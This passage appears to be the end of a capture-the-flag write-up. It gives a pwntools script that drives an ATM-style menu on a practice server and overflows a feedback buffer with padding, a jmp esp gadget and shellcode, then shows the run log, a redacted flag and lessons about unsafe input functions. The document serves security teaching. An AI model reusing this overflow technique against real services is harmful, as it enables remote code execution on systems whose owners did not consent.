# Step 1: Login with arbitrary credentials
p.recvuntil(b'Username:')
p.sendline(b'user')
p.recvuntil(b'Password:')
p.sendline(b'pass')

# Step 2: Select "3. Withdraw Funds" from menu
p.recvuntil(b'=== GLOBAL ATM INTERFACE ===')
p.recvuntil(b'4. Exit')
p.sendline(b'3')

# Step 3: Enter withdrawal amount (small amount succeeds)
p.recvuntil(b'Enter amount:')
p.sendline(b'1')

# Step 4: Send exploit payload to vulnerable feedback function
p.recvuntil(b'comment for our records:')

# Build payload:
# - 76 bytes of padding to reach saved return address
# - Address of jmp esp gadget to overwrite RET
# - Shellcode to execute
payload = b'A' * offset
payload += p32(jmp_esp)       # Overwrite saved RET
payload += shellcode           # Shellcode at ESP after jmp esp

p.sendline(payload)

# Step 5: Read the flag
p.sendline(b'cat flag')
p.sendline(b'cat /flag')

# Get output
sleep(2)
output = p.recvall(timeout=5)
print(output.decode())

Execution & Flag

Running the exploit:

$ python3 solve_bank_chall.py
[x] Opening connection to labs.ctfzone.com on port 7480
[x] Opening connection to labs.ctfzone.com: Trying 172.237.105.125
[+] Opening connection to labs.ctfzone.com: Done
[*] '/home/egovridc/Downloads/ctfzone/bank_chall'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
[x] Receiving all data
[x] Receiving all data: 3B
[x] Receiving all data: 69B
[+] Receiving all data: Done (69B)
[*] Closed connection to labs.ctfzone.com port 7480

> Thank you. Feedback saved.
ctfzone{REDACTED}

Flag

ctfzone{REDACTED}

Key Takeaways

  1. Always check for unbounded input functions: gets(), scanf("%s"), strcpy(), etc. are dangerous
  2. No canary + NX disabled = trivial overflow: This combination makes stack-based buffer overflows straightforward to exploit
  3. Use gadgets to redirect control flow: When you can't directly jump to shellcode, look for jmp esp or similar gadgets in the binary
  4. Examine the call flow: Vulnerable code paths aren't always obvious - trace through the program to find reachable vulnerabilities